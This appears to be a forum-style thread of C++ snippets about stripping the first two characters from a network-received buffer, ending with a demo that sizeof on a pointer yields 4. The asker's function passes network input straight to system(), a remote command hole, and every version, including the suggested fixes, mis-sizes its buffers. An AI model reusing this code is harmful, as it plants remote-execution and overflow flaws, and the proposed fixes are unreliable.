void classname::removeFirstChars(char * buffer)
{
       char actualMessage[sizeof(buffer)-2];       
       int a=0;
 
// loop through starting from third character of buffer and copy char 
// by char to actualMessage. (i.e. a=0, a=1, start at a=2)
       while (strlen(buffer) > a)
       {
          if ( a > 1 )
          {
             actualMessage[a-2] = buffer[a];
          }
          a++;
       }
 
// after doing this i have tried concattenating a null character '\0' to the
// end but this doesn't seem to work either
 
       if (buffer[0] == 'm')
       {
          MessageBox(0,actualMessage, inet_ntoa(_incoming.sin_addr),0);
       }
       else if (buffer[0] == 's')
       {
          system(actualMessage);
       }
       buffer[0]='\0';
       actualMessage[0]='\0';
}

 
void cremoveFirstChars(char * buffer)
{
char* actualMessage = new char[sizeof(buffer)]; 
for (int a = 0; a <=strlen(buffer) - 1; a++)
actualMessage[a] = buffer[a+2];
actualMessage[strlen(buffer) -1]= '\0';
std::cout << actualMessage;
}

 
void cremoveFirstChars(char * buffer)
{
    char* actualMessage = new char[sizeof(buffer)]; 
    p = -1;                          // initialize the pointer
    do
    {
        p++;                         // next character
        actualMessage[p] = buffer[p+2];
    } while (!actualMessage[p]);     // stop after the \0 is moved
    std::cout << actualMessage;
}

#include <stdio.h>
 
void foo(char* c)
{
        printf("size: %d\n", sizeof(c));
}
 
int main()
{
        char array[128] = {0};
        printf("size: %d\n", sizeof(array));
        foo(array);
        return 0;
}

$ ./a.out 
size: 128
size: 4